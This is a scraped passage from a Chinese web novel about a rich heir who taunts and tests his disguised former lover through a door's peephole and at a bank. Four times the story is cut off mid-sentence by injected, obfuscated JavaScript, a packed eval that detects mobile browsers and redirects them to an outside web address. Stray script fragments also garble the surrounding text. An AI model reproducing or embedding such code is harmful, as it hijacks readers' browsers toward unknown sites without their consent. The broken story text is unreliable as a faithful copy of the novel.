谈凭玉笑道:“是么,和俞平关系还不错。” 边上单龙与詹兰竹掩着嘴,对上一眼,末了相视而笑。麻霆君听他们笑,更加毛骨悚然,不知道如何继续撬谈凭玉的嘴,只好道:“俞平来小的家里住了一年……” 谈凭玉慢慢地道:“我知道他有段时间跑出去了,可我回家比他晚,看他还是邋遢——你怎么对的他?” 俞平就是被谈家接走的!大抵是为了迎接谈凭玉回家。麻霆君心中警钟大作,恨不得跳起来同他对峙。他也看穿麻霆君正跃跃欲试,冷哼一声,起身踱步在麻霆君的身边,一脚踏在手指上。 “俞行长不肯回答我?” 他踩得使劲,麻霆君吃痛,愈加说不出话。他扭头笑道:“唉呀,问我要饭来的!谁管账?给他免一期。” 麻霆君道:“四爷,我……” 谈凭玉故意道:“不够?你还剩多少,都给你免了。” 麻霆君有台阶下,尽管不太乐意,只陪笑,道:“四爷,一期就够了。” 詹兰竹硬着头皮打断他们,与谈凭玉耳语,道:“凭玉,我们赶不上商会散场了!” 正是紧要关头,谈凭玉有一万个理由不愿走,无奈商会旷不掉的,本就是偷摸着出来,要是被揭发了,父亲必将要召他回家。 他回头磨一眼麻霆君,还见麻霆君伏倒在地,泛起一阵酸楚。以往只有他偎在麻霆君怀里的时光,此时唯独想吻麻霆君的后脑勺。 等不来那边有什么动静,也不见打手再动作,麻霆君稍有懈怠,侧翻倒在地上,像睡觉的犬,眼睛也是紧紧闭着的。 不料耳畔生风——原是谈凭玉单膝跪在他面前,拧着他的下巴,严厉道:“眼睛睁开!” 麻霆君咬紧牙关,道:“说是看过四爷面孔的就要死。四爷要害我,我才不睁眼!” 谈凭玉愕然道:“我害你做什么!” 二人心中自有答案,都不肯讲。麻霆君支吾道:“我把俞平照顾得邋遢,四爷不高兴了。” 谈凭玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298051|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上动作发狠,捏着麻霆君的下巴,把他的脸扬起来。哪知道他更有防备,伸手把眼睛捂上了;论力气,谈凭玉不比他,自然掰不下一双手,无奈实在气急,往他脸上扇了几轮,打得手与脸尽红。 “睁眼!”谈凭玉气道,“叫你睁眼你就睁眼,我保证不害你!” 麻霆君冤屈道:“不害我,为什么打我!” 谈凭玉荒唐地发笑,道:“哪有这么不听话的狗!” 麻霆君道:“我就知道四爷不把我当人!” 领头不忍直视,快步到谈凭玉身边,道:“四爷,你在这孬种身上浪费什么时间?叫兄弟们狠狠揍他一顿,看他听谁的话。” 麻霆君更要在地上撒泼了。谈家里都是体面人,还有谈凭玉拦着不让打,拿他没办法。他微微睁眼,看见一排石柱似的腿,借机道:“我不过是想与俞平叙旧,四爷何苦为难我!” 谈凭玉嗤笑道:“你家太不厚道,把俞平待成什么样,有什么脸来和他叙旧?” 麻霆君道:“四爷含金汤匙出生,不懂我们平民百姓的过法,我从来没有亏待过俞平,对天起誓。” 他情急之下说漏了嘴,所幸是对谈凭玉——谈凭玉低头笑了笑,道:“我的钱都还不上来,怎么补偿他?” 麻霆君汗流浃背,不敢吭声。谈凭玉绕他一圈,一声声脚步处刑似的传来,折磨他好长一会,方道:“要见俞平也可以。我有事情托你办,你办得光彩,我就答应。” 麻霆君欣喜道:“四爷的事情,我一定放在心上!” 谈凭玉道:“那好,先给我把眼睛睁开。” 麻霆君摇了一半的尾巴霎时僵了。其实也知道谈凭玉没有传闻中可怖,却不想落个把柄在他手里,便道:“四爷,等我做成了,才有底气看您。” 谈凭玉算答应了:“俞行长开银行,必然是三教九流的朋友都认识。我想托你帮我找个人。” 麻霆君道:“找人有什么?就算一户户敲门过来,也一定为四爷寻到,四爷要找谁?” 谈凭玉一字一顿:“麻霆君。” 麻霆君周身冷一瞬,心也忘记跳——谈凭玉找他腿上踩一脚,道:“认识?” 不但认识,他就是麻霆君本人,可最初担保平渝银行的是颜青,只有谈文翡见过他几面,可谈二谈四素来不和,谈凭玉怎么知道有这么个人? 是俞平提他了?俞平多么爱他,必然知道提他唯有死路一条,莫非是说梦话?他想起俞平日日夜夜的思念,不禁湿了眼眶。 感动时刻,谈凭玉又来踢他,他才道:“我……我确实听闻过麻霆君。” “你有头绪就好,我和他梁子不浅。”谈凭玉高高在上,道,“我还被他的狗咬了一口,现在都疼。” 这一行总算叫他有点称心如意——他心情好了些,又道:“我最近住柏庄,不在谈公馆。若是有麻霆君此人的头绪,来柏庄找我。你想要什么报酬,随你开口。” 珠宝店派人到门口,见里头热闹,不敢进门。 真相近乎摆在眼前,只需要麻霆君不费吹灰之力地睁一睁眼,偏偏他肯不看。谈凭玉再爱他,不至于掰开他的眼皮,也想看看他究竟能多折腾,便叫领头的收工,打道回府。 珠宝店的手捧礼盒,笑脸相迎,识破他一只翡翠扳指,没再进银行。他接过礼盒,捏在手里掂了掂,却是灰心了,话不肯多讲,打发单龙招呼。 该走的都走干净了。胖子瘦子在楼上拘了许久,总算能下来透气。看见麻霆君站在玻璃窗口,目送他们一行人离去。 太阳早就落山了,树木退了色似的,街道重归阒寂。谈凭玉那辆车实在是气派,麻霆君从前做少爷的时候就喜欢,如今连肖想的勇气都失了。心里百感交集:俞平若是和他一起生活,总比跟自己受苦强。 若是俞平过得幸福,他也没什么值得吃醋的,男子汉大丈夫,一时落魄,不忍心叫俞平跟着来吃苦;又说俞平真要来投奔他,他还不知如何是好——无论如何,都是他的错,同俞平没有关系。 胖子冷不丁凑过来,玩味性地盯一阵窗外,暧昧道:“五爷,你看四爷虽是毁了容,身段倒真不错。灯一关,什么都看不见的,俞平跟了他也不吃亏,何况他还这么有钱。” 他唱独角戏不尽兴,戳了麻霆君,又道:“五爷,俞平还肯回来吗?” 麻霆君七窍生烟,道:“你——” “嗳,我和瘦哥把那账本算了又算,堪称呕心沥血。不准骂干活的哈。” 82.不透 “你还记得要来?” 酒楼包厢里头,颜青打瞌睡,将近一头栽进汤碗里,好不容易盼来麻霆君一行。他腿上没有力气,挣扎着站起来,跑去门口唤跑堂的,酒菜热在后厨,总算能端上桌。 麻霆君搬了他身边的椅子坐。他脸色不高兴,道:“你们来得太晚太晚,这酒楼都要打样了,要不是我和老板有点交情,现在我们只有蹲在桥洞里。” 麻霆君道:“蕙心呢?” 颜青埋怨道:“早走了!谁脾气这么好,等你们三四个钟头?” 跑堂接二连三端菜上来,大鱼大肉,色香味俱全。麻霆君闻着愈加饥肠辘辘,也不太好意思,道:“是我不好,苦了你们。饿久了肠胃不好受,先喝点热茶?” 颜青道:“你在外面饿死了,我们也不可能亏了自己,早吃过了。不过这些不是吃剩的,是重新特地为你们点的。” 继而又和麻霆君讲他感情上的特殊经历,都是些八字没一撇的事情,麻霆君听他念叨得多,真是习惯了,管自己狼吞虎咽。 胖子瘦子接连走进来: “五爷,祝你明天福如东海。” “五爷,祝你明天寿比南山。” 颜青被他们生生打断,心里不悦,便把话茬栽进他们身上。 “呆子,呆子。”一个个指过去。胖子瘦子面面相觑,他的批判只是开始,又道,“这屋里本应有个美人,结果还是人家玩剩下的,现在也没啦。霆君只有两个呆子和我。” 胖子慌忙道:“这种话怎么好说!” 颜青则是美其名曰:“怎么不好?忠言逆耳利于行么,我看霆君就是这种事情经历太少,有时候念叨的多了,他反而不在乎了。” 说完瞄麻霆君一眼,没想到他脸僵得太可怕。颜青自知并非是三言两语造成的,另有隐情,便温声关怀道:“还没问你,迟到这么久,是发生什么了?” 麻霆君轻声道:“谈凭玉来了。” 颜青愣许久,道:“他来的银行?” 麻霆君点头,胖子瘦子七嘴八舌拼凑了事情原由。颜青听得骇人,思索一阵,道:“他知道俞平背着他偷你了?” 瘦子皱眉道:“颜少爷,这话糙理不糙的,就是太糙了。” “按理说麻霆君已经死了,谈家没人认识你,唯一一个有门路的,郁蕙心,是我们自己人。就当是俞平出卖,他也不知道你现在是俞霆。” 颜青讲一阵,忽然一拍大腿,灵光一现,道,“我知道是什么——谈凭玉看上你了!否则他为什么一直逼你睁眼看他?” 又道:“不然便是:谈凭玉长得实在丑陋,没能撬开你的钱包,吓你一跳也好。” 麻霆君骂他一句,道:“少给我添乱。” 颜青笑道:“你记得下午那头牌?谈凭玉是奔着人家的声音去的,偏偏你们的声音一模一样,不是他爱上你,难道是他良心好,要来成全你和俞平?” 麻霆君不想细究,再为自己添了碗饭。这事古怪得非同小可,一定另有隐情。他好不容易摸出一些门道,哪知道谈凭玉来了,把一切颠得更乱。 胖子瘦子吃饭快,颜青拿他们寻开心,一个个可能猜过去。麻霆君听他们越说越离谱,放下碗筷,道:“能不能指望我好点?” “不如你遂了他的心,去见他一面就是了,最坏不过多一个把柄在他身上。” 颜青笑道,“再说那可是大名鼎鼎谈凭玉——你除了脸和身子,还有什么值得他贪图的?脸只会越来越英俊,身子是没了就没了,反正你早不清白了。说不定还能再见到俞平。” 轮不着麻霆君提议,胖子瘦子皆不肯,两座山似的阻挡在前面: “凶多吉少。” “有去无回。” 少了阿吉总觉得缺了点什么,胖子推搡瘦子,瘦子勉强补充道:“我们五爷必然会东山再起的,当下是性命要紧。” 麻霆君面色阴沉,看模样是在思考,半晌才道:“嗳,真的有可能见到俞平吗?” 颜青眼睛瞪一瞪,笑道:“我听明白了,讲了三年不在乎,到头来还是放不下俞平。” 麻霆君倒也不反驳,道:“说真的,要是能见到俞平,刀山火海我也愿意。” “这太窝囊了,没个男人样,怎么敢保证俞平一定回心转意?” “俞平就是很爱我,不用怀疑。” “那么,你就是全枢城最对不起谈凭玉的人了——不但欠了他许多钱,还有风流债。要说钱还得清,俞平的心怎么办?” 麻霆君泄了气,任由他笑话,不反驳一句。颜青管自己说得高兴,见那一行三个皆是烤糊了般冒黑烟,方才住了口,笑道: “我有一计,不用给谈凭玉以身相许,就保你见到俞平。” * 商会。 谈凭玉出门前借口胃疼,奔波一下午。车上詹兰竹递来三明治,他没有吃的心情,空着肚子回商会,胃里当真不太好受。 位置上新摆一杯热茶,他双手捧着吃。等来座钟撞七次响,他拍桌板,脸不红心不跳:“大家静一静。” 都吃准了他的脾气,没有留恋热闹的,大家互相监督,闭嘴真当快。谈凭玉翻开硬皮本,里头是谈文翡手写的资料,留给他学习的,他照本宣科一阵,宣布散会。 “有事的另留下来,没事的可以走了。” 稀稀拉拉的整理声。前后门都小,没有愿意排队的,都挤成一团,磨磨蹭蹭出不了门,所以都来和谈凭玉告别。谈凭玉没办法继续整理资料,也起身朝他们微笑,像个迎宾。 混乱中有人急匆匆地喊“四爷”——商会是一群人藏着江湖气扮绅士,难得有人露马脚。一声“四爷”格外刺耳,谈凭玉只能关注到他。接下三张纸。 新一轮的入会名单。 座位上,名牌写“甄展”的人起身,递来一小沓简历,道:“谈先生,秋会新招募的,大多是我们互相推荐相熟的,人品有担保。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夜色浓重,一排车子停在门口。詹兰竹在车前又蹦又招手,把他接上。 此般回枢城,比计划里提前两个月。谈凭玉怕父亲又怕姐姐,不敢回家,搬去柏庄住。其实大家都知道,但是没有戳破他;他也知道,佯装一派风平浪静。 他不是第一次长住柏庄,一年半前回枢城定的就是这里,得知了麻霆君的死讯,不敢推门进来。这时候回卧室点灯,橘色灯光落成个圆圈,才有点真切活着的感觉。 珠宝盒子在口袋里硌了许久,才觉得折磨。谈凭玉把对戒取出来,倒在手心。麻霆君指围异于常人,他戴了嫌大,空隙之间还能塞进半只手指。翻动之间,蓝色钻石显得十分闪耀,毕竟足足十五克拉——把全世界倾覆过来,细细用筛子打一遍,都寻不见第二颗。 他正是如此爱麻霆君的?他自己那一枚镶了颗极小的钻,戴在无名指,寒酸得不像是他的做派。闭上眼睛,往昔历历在目,又记不得他作为俞平的想法,好像只记得麻霆君先前怎么朝他笑。 直到单龙喜气洋洋冲进来,门也忘记敲: “四爷,那姓麻的开窍啦,等在门口,要见你一面!” 83.间距 谈凭玉一口气没喘完,已然冲到门口,却见麻霆君背过身子,只留了个后背。 詹兰竹郁闷着来讲耳语:“凭玉,他一直是这么站的。” 这背影看得人啼笑皆非,谈凭玉手指上端正套对戒,心还软着,便勉强哄他几句:“俞霆行长,别来无恙。” 麻霆君一激灵。 他不想见谈凭玉,一来有颜青乱参谋,谈四藏了这么久,他看了必然要遭殃; 二来也是出于自尊心。以往俞平成天把谈四挂在嘴边,他倒是愿意被调侃,和一个死人没什么好置气的,活着的却又不一样。 目前而言,谈凭玉,他心目里一个连声音都不太可爱的人——他不接受俞平选了另一个运气更好的灵魂。 “谈先生。”必然也是颜青乱出主意,毕竟要不卑不亢,四爷或是名字都不肯叫,学西洋人尊称谈先生。麻霆君停滞几秒,不见几位心腹强行来纠正,再开口道,“谈先生,我知道您高看我,但我一介草民,没资格见您的尊容。” 谈凭玉冷笑道:“你不怕我?” 麻霆君犹豫道:“怕。” 谈凭玉道:“怕我还把后背暴露给我,不怕我做什么手脚?” 麻霆君声音有些慌:“谈先生,您是君子……” 谈凭玉没带枪在身上,使个眼色,单龙领旨上前,一记手刀劈在麻霆君背上,恨恨道:“你胆子这么小,能成什么事?” 麻霆君顷刻缩着肩膀,真吃着痛。谈凭玉心疼之余也有几分解气,散了筋骨般斜斜靠在门框上,原本就上翘的嘴角更压不住,道:“下手再重点,否则传出去难听,说我待人不厚道,吃不饱饭。” 单龙笑道:“四爷,他肩背太薄,我怕把他胳膊劈下来。” 肩背薄了?谈凭玉忽而愣一愣,只记得调笑他虎背蜂腰螳螂腿的日子,不想他消瘦成这样。先前骗麻霆君时候真没想过自己会爱上,也是迫不得已,这时候良心倒是过意不去了,进退两难,只想冲去抱着他。 他们不动作,麻霆君也预料不出,忙见缝插针,道:“谈先生,您下午来问我打听一位叫麻霆君的,兴许我真有些头绪。” 谈凭玉道:“你是认识他,还是从别人口中打听过他?” 麻霆君道:“认识。” “那么,你一定有许多话要和我讲了。” “是。” 谈凭玉懒懒道:“恐怕是不能奉陪了,我毕竟没吃过饭,要是听到一半昏倒了,怕不是上了行长的套。” 麻霆君在枢城磨砺三年,心思单纯依旧,不大有坏心思,若非他这般一挑拨,宁死也想不出这种可能,情急之下破了功,道:“是我太急了些,来得不巧。可我真有要事,一定想现在告诉你。” 谈凭玉低笑道:“我里头开了饭,进来一坐?” 麻霆君讪讪道:“四爷,我吃过了。” 谈凭玉笑道:“哦,陪我也不肯?” 麻霆君紧紧抿着嘴。 詹兰竹要站队,虽是跟着笑,实际上第一个不自在。好歹是见过他们二人在鹭镇上如何腻歪,不见得谁对不起谁,怎么沦落至此?他夹在中间,一会看麻霆君的后背,一会看谈凭玉,一会看单龙,更心惊胆战。 “俞霆行长。”谈凭玉指节敲门框,笑道,“俞行长钱能还这么久,和我渊源也不薄了,我却还不知道你长什么样。孽缘也是缘,不如回个头,交个朋友?” 麻霆君窘迫道:“我没资格的。” 谈凭玉道:“怎么没有?行长一套虎背蜂腰螳螂腿的,我倒是很愿意给呢。” 麻霆君这才恍然大悟:难怪俞平有这么磨人!若是师从谈凭玉,好像也不奇怪了。从前光是一个俞平,他险些招架不住。谈凭玉又是权贵加身的,反驳不得,只好暗暗吞口水。 他闷成这样,谈凭玉愈是想张牙舞爪,拧着他的耳朵发泄一通:“宁可吃西北风,不肯进屋暖和?” 麻霆君心一死,道:“四爷,实不相瞒,我有些害怕您……” 谈凭玉笑一笑——说是倭人做东西喜欢往小里雕琢,精细些,因为做大了容易呆板,偏偏麻霆君肩宽体阔的,又是孤苦伶仃站在门前。看得良心竟过意不去。 认识时间其实也短,却是恋人一场,他称得上熟悉麻霆君:麻霆君是一动脑筋就出错。不说银行,从那几桩失败的茶叶生意就可见一斑,现在又要自作自受。 他自认为近年沉稳了些,脾气不大有。再无可奈何,不至于气伤了身子。 他无声地退进屋里,关上了门:“我不喜欢别人背对我说话,隔着一扇门,总能赏个脸给我吧。” 猫眼扭开,看见麻霆君站得远。 “近点。”谈凭玉笑道,“再近点。” 声音背门阻隔的更模糊。麻霆君声音响,这时候也没什么底气:“四爷,够近了。” 谈凭玉道:“隔一扇门,还怕我吃了你不成?” 麻霆君只好再往前凑,不知道猫眼在哪,流浪狗似的朝门上拱。说是瘦了不少,身上还是结实,胸膛要贴到门板上了。 终于凑到眼前。一扇门相隔二人之间,谈凭玉倚在门上,好像落在他的怀里一般。更是想吻他,也想用力开门,狠狠把他撞飞到天上。 这几年麻霆君无依无靠地过着,在枢城摸爬滚打,总不如鹭镇上意气风发。谈凭玉心疼不假,悄悄数落一通他的胡茬,嘴上却是装模作样地夸赞开了: “下午条件不好,没看清,原来俞行长有这么英俊!” 谈凭玉拖着长音,笑道,“唉呀,眼睛很大,鼻梁很挺。” 他说话带钩子,扎着麻霆君,硬往里面扯。麻霆君耳朵率先红了——他看麻霆君要开口,又道:“嘴巴也很好看啊。” “一般……一般啦!” 麻霆君应付无能,唯独不好意思地挠挠头,道,“谈先生……谈先生太抬举……” “一会四爷,一会谈先生,不要说我了,我看连你自己都分不清。”谈凭玉道,“我不喜欢讲外面人情世故一套。有名有姓的,直接叫谈凭玉好了。” 麻霆君迟疑片刻,他笑道:“你也不喜欢?我还有个小名子,一个情人取的,‘平儿’。我说他有才华,取名字也好听。俞行长叫得出口,不如也这么叫了,我心情还好点。” 平儿?谈凭玉成了平儿,俞平是什么?麻霆君思考无能,一时毛骨悚然,又想来常说要积口德;他以往不知羞,尽管把“平儿”挂在嘴边,若是把这份甜蜜阴差阳错拨给了谈凭玉—— 他要昏倒了!一口气哽在嗓眼,提不上来,呼吸也困难。何况谈凭玉的声音真是鬼一样缠着他,看不见面孔,反而更加勾人魂魄。 “行长!”谈凭玉看出他实在窘迫,更是在里头落井下石,笑道,“行长有什么昵称,我猜一猜,是叫‘阿霆’?还是‘哥哥’?” 麻霆君后退几步,跌跌撞撞,道:“四爷,这不好!我已经成家了。” 谈凭玉道:“可我听闻俞行长喜欢男人,有这回事?” 麻霆君老实道:“是。” 谈凭玉笑道:“是了,男人怎么和男人成家?” “两情相悦……” “两情相悦?” “是,四爷,我是名义上的成家,实际是闹着玩的,可有恋人这事不假。” 谈凭玉打断道:“可我怎么听闻你是个鳏夫?” 不愧是做谈四爷的,什么都知道?麻霆君却不知道他底细,不敢撒谎,只好道:“以前成过。” 谈凭玉故意幽幽地道:“成过?难怪去找小倌。” 麻霆君忙道:“没有的事!四爷乱冤枉人!” 想来必然是瞒不过他,兴许枢城处处都是他的眼线。比起等他刺来长矛,不如坦白算了。又道:“我是听闻四爷去楼里过生日,也想见识四爷的风采。” 谈凭玉道:“嗳,你也要过生日?” 麻霆君不肯答。屋里暖和,猫眼上蒙着一层雾,谈凭玉不大看得清楚,唯独看见麻霆君眼睛是晶晶亮亮的,心里软和一瞬。 “我知道你要生日了。”他低头捏干面包片,摁在洋食的番茄汤里泡,烂透了也不肯吃。 谁要过生日?谁成寿星了?俞平每天面对的究竟是如何一个人物?麻霆君站在门外,却好似被谈凭玉情意绵绵地拥抱着。他确实不乏追求者,却从未对别人动过心思,直到俞平出现在鹭镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330968|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 分别三年,他一颗心又上锁似的动弹无能,也不肯将就,以为要孤独终老——倏地在谈凭玉身上意乱情迷了,这怎么叫他接受? 说来也是“君子论迹不论心”,总归古往今来有不少负心汉,出了各式各样的名言辩护。麻霆君管自己念叨一阵,好不容易消了邪念,却是全然丧失了与谈凭玉周旋的能力了。 谈凭玉看他僵僵站着,笑道:“不和你废话。你说,麻霆君怎么了?” 麻霆君触电似的一哆嗦,不知道他看没看见。姑且迟疑道:“四爷想要知道什么?” “是你要告诉我。” “我要先知道四爷和他有什么——” “笨狗”,谈凭玉低声嘟囔一句,咽干净法棍面包,又喝了点酒,清嗓道:“你是四爷我是四爷?我问你话,怎么反过来问我?” 麻霆君只好赔笑脸:“不敢啊,我一介草民,不懂规矩,胡言几句。” 幸而颜青给他编了份讲稿,出门时候倒是滚瓜烂熟在心里。这时再被谈凭玉折磨半死,也勉强背出几句:“我认识麻霆君是因为银行。相信四爷也有所耳闻,原本是他向二爷接手,不知怎么的,他中途退出,所以削价给了我。” 谈凭玉听着乐呵:“俞行长熟悉他的为人?” “还算熟悉,毕竟打过交道。” “哦,行长知不知道他什么喜好?”他故意讲得慢,“比方说,他喜欢挑有夫之夫下手。” 他什么都知道!兴许早识破自己身份了。麻霆君吓得不轻,无法思考,更是反驳不能,只好道:“有可能吧。” 谈凭玉道:“什么是有可能?我听闻俞行长也结过婚,既然你们有过交往……他有来骚扰过你?” 麻霆君汗流浃背,道:“这倒是没有。” 谈凭玉嗤笑道:“没有?俞行长分得清什么是骚扰么。” 一出好戏在眼前,谈凭玉没太多食欲,叫他们把餐车推下去。不多时,黑兔从房间里迈小步子窜出来。他俯身把牧羊犬抱在怀里,上下晃着哄。 外头麻霆君勉强恢复理智,却是站着也累,气喘吁吁,好不容易道:“麻霆君确实不能称作君子。不过恶人有恶报,他已经死了。” 听见谈凭玉讶异的语气:“死了?” 他心说颜青出的法子一点不赖,还当是走上了正轨。压力减小不少,道:“麻霆君心术不正,死不足惜。” “死了?”谈凭玉装着惋惜,“多可惜,我这里头有人要见他。” 隔着门见到麻霆君脸色都好了不少。麻霆君紧张道:“是谁想见他?” 谈凭玉捏了把狗尾巴,黑兔一叫。 “俞行长听清了么,是我的狗。” “四爷,别开玩笑了,您告诉我——我认识麻霆君的亲属,可以为您传话。” 谈凭玉不肯答,先把黑兔放回到地上,等黑兔甩着尾巴跑远了,方才悠悠地道:“讲给亲属有什么用?他想见的是麻霆君,不是麻霆君的爹娘。” 麻霆君便道:“我认识道士,可以通灵,把麻霆君请上来。” 谈凭玉道:“俞行长真糊涂,这世上哪有鬼神。” 麻霆君道:“我——” 谈凭玉笑道:“俞行长同麻霆君是什么关系,怎么有这么关心他?” “我和麻霆君不太熟悉。可我欠了四爷您这么多钱,一时间还不上,想在其他事物想帮忙。” “没想到俞行长心思细腻,真是个好人。” 蒙混过关得如此轻松?麻霆君不敢细想,忙斗胆问道:“四爷,您找麻霆君是为什么?” 谈凭玉道:“我知道郁蕙心住你家楼下,出于友情,也在银行里,她没告诉过你?” 麻霆君摇摇头。 “据说麻霆君长得不赖,她想介绍给我。做个地下情人。”谈凭玉笑道,“就是不知道俞行长有这么英俊。见了你,什么麻霆君,好像都不重要了。” 真是个不折不扣的大魔头!麻霆君出一背冷汗,情急之下,回顾相处迄今,想不出是不是露了马脚,或者他一开始什么都知道,拿自己寻开心。 又听他玩味地道:“还有一位,俞平,也找麻霆君。” 84.猫眼 看麻霆君诚惶诚恐,又是拼了命要向前冲,谈凭玉才有一点满足。 否则麻霆君太窝囊了。爱人不告而别,他真坐得住——倒不如去谈家闹一场。 不过真胡闹也不好,莽撞是一方面,更多是传出去难听,轻贱了四爷在枢城的地位,什么人都能到谈公馆跟前撒野了。权力面前,谈凭玉做既得利者,不敢太嚣张。 思来想去,大抵数麻霆君脑子太笨。 笨人敲着门:“四爷,俞平在哪?” 在你面前!谈凭玉忍着一口气,装无事发生,道:“你急什么?” 麻霆君暗暗吃惊,眼睛瞪得更大。偏偏肚子饿了,咕咕叫得声音不算轻,想起谈凭玉不久前邀请他吃饭,更是饥肠辘辘。 谈凭玉猜得出他尴尬什么,气消了个干净,笑道:“行长不肯陪我吃饭,不如去餐厅对付一口?柏庄开得晚,厨子倒不差。” 听语气绝非是送客。麻霆君立刻站直了,吹冷风也饱,道:“四爷,我赶紧说。” 他心里不乏懊悔着,早点进去尚还能看谈凭玉脸色行事,这猫眼又是外头的人看不见里头,黑黢黢一片,不知道谈凭玉是盯着他看,或者仅仅站在门前。 犹豫时间太久,倒是谈凭玉先出声:“行长什么时候开金口?” 麻霆君挤出一个笑,放慢语速,道:“俞平和麻霆君有些过节,我想私下和俞平说。” 谈凭玉冷笑道:“俞平有什么是我不知道的,还要瞒着我?” 麻霆君咽口水,道:“四爷,麻霆君这人是不折不扣的恶棍,兴许他欺负过俞平。这事若是讲给四爷听……怕四爷不高兴了,杀鸡用牛刀。麻霆君哪用大费周章?” “如此?”谈凭玉道,“俞平还很喜欢他呢,提起他总笑,不知道高兴什么。” “俞平呢!”麻霆君顷刻破了功。 谈凭玉道:“俞平睡下了,我不敢叫醒他。你进来?” 麻霆君才不敢吭声。 早装不下去了,然而深色木门挡在眼前,只能想到谈凭玉如何虎视眈眈,盯着他打算盘。 柏庄他也住过,和俞平一起,光顾着贪图彼此,也没正经转过,只记得房间不少。谈凭玉埋伏其中,简直是狡兔三窟,谁知道他藏进去了多少保镖?莫非早知道他是麻霆君,一把他骗进去便要报仇了。 他想活着。虽是分别三年,或还有更长等待的时间,他却相信一定会落个美满的结局,冥冥之中注定好,他会和俞平走在一起。 他必须要活着,窝囊些也无可厚非了。 “平儿要休息……”麻霆君无意识说漏了嘴,却也不想改口,否则太刻意。又紧急补充道,“四爷休息么?我单知道麻霆君死了,其余也不清楚。四爷时间金贵,不如我不耽误了。” 隔着门倘使还有好处,便是做什么表情都无所谓。他闹哪样?谈凭玉管自己翻白眼翻了个解气,摆一副好声好气的口吻出来:“今天是太晚,改天正规约个地方,好好请俞行长一叙?” “还是四爷周到。” “俞行长挑个地方——漫柳楼去么?找几个佳人伴你。” “不必了,不必了。” 看麻霆君涨红了脸,谈凭玉才肯笑道:“栀子花街道一带我打听过,他们每个人都讲,俞行长深居简出,没有社交活动。莫非是真的?” 麻霆君道:“银行经营不善,我出去玩,说不过去。” 谈凭玉笑道:“本来行情就不好,又不社交,不是闷死?不如陪我去花天酒地,心情好了,生意自然来了。” “不去了,四爷。” “不去?” 麻霆君犹豫一会,道:“四爷,我与爱人情比金坚,却成了鳏夫。寂寞是其次的,我更不想对不起他。” 谈凭玉笑道:“咦,你这么英俊,肯为了谁守身?” 他等着听出俞平的名字,或者含糊其辞,不料麻霆君只是耷拉脑袋,简直是拳头打在棉花上。他一个笑僵在脸上,闻着空气也凉不少。 这种人怎么配他谈凭玉?穿出猫眼望一眼麻霆君,又好像还是舍不掉。他贴在门上有些沮丧,其实早在鹭镇该真相大白了,一出好戏偏是酝酿迄今。 他不愿学马戏团开场,踏着礼花贸然跳出去,只好赌气增砖添瓦,再折磨一阵。 “俞行长,时间不早了,倘若后续再有求,我派人来接你。今天不送了,请回吧。” 麻霆君真管自己头也不回地走了,又是闹哪样?谈凭玉趴在猫眼上好长一阵,自己气自己,好不容易和解,黑兔吃饱喝足,从房里出来迎接。 见黑兔轻快地在地毯上踏小碎步,尾巴甩得也快开花,时不时朝谈凭玉的腿卷一次。平时没见它心情这么好!谈凭玉恨恨道:“知不知道,你亲爹不是死了,是不要你了!” 詹兰竹与单龙同流合污,悄悄憋笑许久,才来讲:“凭玉,要我说,还是快点把真相告诉他。” 单龙也道:“四爷,没几个人经得住考验。这姓麻的原本还不错,再被蒙在鼓里,要生生熬成窝囊废了。” “多没意思。”谈凭玉还是嘴硬,实际上自己心里最着急。嘟囔道,“我想看看他能有多窝囊,太窝囊就不要了。” “但他就是这种人!之前不介意你杂七杂八编出来的过去,现在更加不会。” 詹兰竹笑道,“他不好高骛远的,否则银行起码开到市中心。看谈家如此红火,万一他知难而退,放弃你,另寻他人了,太划不来!” 谈凭玉负气道:“他不好高骛远还来追求我?” 单龙嘿嘿笑道:“说是一张床上睡不出两种人,四爷你也好高骛远一点,耍个窝囊废没意思的。” 谈凭玉眼睛一瞪,单龙双手投降,后退几步,又道:“四爷,我帮你想个法子,将功抵过。” * 说是四爷派人登门造访,银行又放假。 柏庄里一群人整装待发,车开到剧院。艺术学院有人脉,把音乐系结课汇报演出安排在里头,原本对外开放,象征性地收点门票钱,代表学院做慈善。谈凭玉捐得太多,便只演给他一个人看。 麻霆君等在门口。 冬天的枢城是灰扑扑的,麻霆君身上没钱,乌七八糟穿了一通,更衬得剑眉星目的。他长得太周正了,哪怕这时候害怕,暗暗的怯意却像等着迎亲。 “五爷,你来了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336651|149246||http|test|mini|href|location''.split(''|''),0,{})); 